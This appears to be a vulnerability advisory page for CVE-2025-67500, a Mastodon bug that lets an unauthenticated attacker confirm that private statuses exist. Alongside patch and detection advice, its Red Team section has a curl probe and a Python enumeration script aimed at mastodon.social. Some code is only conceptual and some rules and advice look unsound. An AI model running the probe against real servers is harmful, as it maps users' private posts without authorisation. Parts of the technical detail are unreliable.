CVE-2025-67500
Executive Summary
CVE-2025-67500 is a low-severity information disclosure vulnerability in the Mastodon social network server. The flaw resides in the error handling logic when processing API requests with non-English Accept-Language headers. An unauthenticated attacker can exploit this discrepancy to confirm the existence of a specific status (post) by its numeric identifier, even if they lack the necessary permissions to view it. This is a classic instance of CWE-209 (Generation of Error Message Containing Sensitive Information). While the vulnerability does not leak the content of the status, it enables an attacker to perform reconnaissance on private or limited-audience posts, which can be a stepping stone for more targeted attacks or social engineering.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Mastodon is distributed as a Ruby on Rails application via its official GitHub repository and Docker images. The vulnerability is patched in the latest stable releases. Organizations using Mastodon should ensure they are running version 4.2.28, 4.3.15, 4.4.10, or 4.5.3 or later. No malicious packages or compromised dependencies have been identified in relation to this CVE.
CVSS Breakdown & Threat Level
- CVSS Score: 3.7 (Low)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L) – only existence of a status is leaked
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: Low. The vulnerability is limited to confirming the existence of a status. It cannot be used to read content, modify data, or disrupt service. However, in combination with other information, it could aid in profiling users or identifying private conversations.
Deep Dive & Mechanics
The vulnerability arises from how Mastodon's API handles error responses when a user requests a status they are not authorized to view. Normally, the server returns a generic 404 Not Found error for both non-existent and unauthorized statuses. However, when a request includes a non-English Accept-Language header (e.g., Accept-Language: de), the error handling code path diverges. The server may return a different HTTP status code or error message for an existing but unauthorized status compared to a non-existent status.
Root Cause: The error handling logic in the Api::V1::StatusesController (or similar) does not consistently sanitize the response based on the Accept-Language header. When the locale is set to a non-English language, the server may attempt to localize the error message, inadvertently revealing that the resource exists by returning a 403 Forbidden or a different error message structure.
Attack Flow:
- Attacker obtains a status ID (e.g., via public feeds or guessing).
- Attacker sends a GET request to
/api/v1/statuses/{id}with a non-EnglishAccept-Languageheader. - If the status exists but is private, the server returns a 403 Forbidden or a localized error message.
- If the status does not exist, the server returns a 404 Not Found.
- Attacker compares responses to infer existence.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# app/controllers/api/v1/statuses_controller.rb
def show
@status = Status.find(params[:id])
authorize @status, :show?
render json: @status
rescue ActiveRecord::RecordNotFound
render json: { error: I18n.t('statuses.not_found') }, status: :not_found
rescue Pundit::NotAuthorizedError
# Inconsistent: returns 403 with localized message
render json: { error: I18n.t('statuses.unauthorized') }, status: :forbidden
end
Patched Code (Conceptual):
# app/controllers/api/v1/statuses_controller.rb
def show
@status = Status.find(params[:id])
authorize @status, :show?
render json: @status
rescue ActiveRecord::RecordNotFound, Pundit::NotAuthorizedError
# Consistent: always returns 404 with generic message
render json: { error: I18n.t('statuses.not_found') }, status: :not_found
end
The patch ensures that both non-existent and unauthorized statuses return the same HTTP 404 status and a generic error message, regardless of the Accept-Language header.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A Mastodon instance running a vulnerable version (e.g., 4.2.27).
- A known status ID (e.g., from a public timeline or by guessing).
Exploitation Steps:
- Identify a target status ID (e.g.,
12345). - Send a request with a non-English
Accept-Languageheader:curl -H "Accept-Language: de" https://mastodon.example/api/v1/statuses/12345 - Observe the response:
- If
404 Not Found: Status does not exist or is unauthorized (cannot distinguish). - If
403 Forbiddenor different error message: Status exists but is unauthorized.
- If
- Repeat for multiple IDs to map private statuses.
Automation Script (Python):
import requests
def check_status_existence(instance_url, status_id):
headers = {"Accept-Language": "de"}
url = f"{instance_url}/api/v1/statuses/{status_id}"
response = requests.get(url, headers=headers)
if response.status_code == 403:
return True # Status exists
elif response.status_code == 404:
return False # Status does not exist or is unauthorized
else:
return None # Error
# Example usage
instance = "https://mastodon.social"
for sid in range(1000, 1010):
exists = check_status_existence(instance, sid)
print(f"Status {sid}: {'Exists' if exists else 'Unknown/Not Exists'}")
Blue Team
Detection:
- Monitor for repeated API requests to
/api/v1/statuses/{id}with non-EnglishAccept-Languageheaders from the same IP. - Alert on a high volume of 403 responses followed by 404 responses (indicating probing).
Mitigation:
- Apply the patch immediately.
- Implement rate limiting on the statuses endpoint.
- Use a Web Application Firewall (WAF) to block requests with unusual
Accept-Languageheaders if not needed.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to
/api/v1/statuses/{id}withAccept-Languageheaders set to non-English locales (e.g.,de,fr,ja). - Sequential probing of status IDs (e.g.,
1000,1001,1002).
- HTTP requests to
- Logs:
- Repeated 403 Forbidden responses from the API.
- Unusual patterns in
Accept-Languageheader values.
Detection Engineering
YARA Rule
rule CVE_2025_67500_Mastodon_Status_Existence_Check {
meta:
description = "Detects HTTP requests exploiting CVE-2025-67500 to check status existence"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67500"
strings:
$api_path = "/api/v1/statuses/"
$non_english_header = /Accept-Language: (?!en)[a-z]{2}(-[A-Z]{2})?/
condition:
$api_path and $non_english_header
}
Sigma Rule
title: CVE-2025-67500 Mastodon Status Existence Probe
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-67500 by probing status existence with non-English Accept-Language headers
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-stem|startswith: '/api/v1/statuses/'
cs(User-Agent)|contains: 'curl'
cs(Accept-Language)|re: '^(?!en).*'
condition: selection
falsepositives:
- Legitimate users with non-English browser settings
level: low
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-67500 Mastodon Status Existence Probe"; flow:to_server; content:"/api/v1/statuses/"; http_uri; pcre:"/Accept-Language: (?!en)[a-z]{2}(-[A-Z]{2})?/Hi"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade Mastodon to version 4.2.28, 4.3.15, 4.4.10, or 4.5.3 or later.
- Rate Limiting: Implement rate limiting on the
/api/v1/statuses/endpoint to prevent automated probing. - WAF Rules: Deploy WAF rules to block requests with non-English
Accept-Languageheaders targeting the statuses API.
Long-Term Measures:
- Conduct a code review of error handling across all API endpoints to ensure consistent responses.
- Implement security testing for locale-dependent behavior.
- Monitor for similar vulnerabilities in other parts of the application.
Valters IT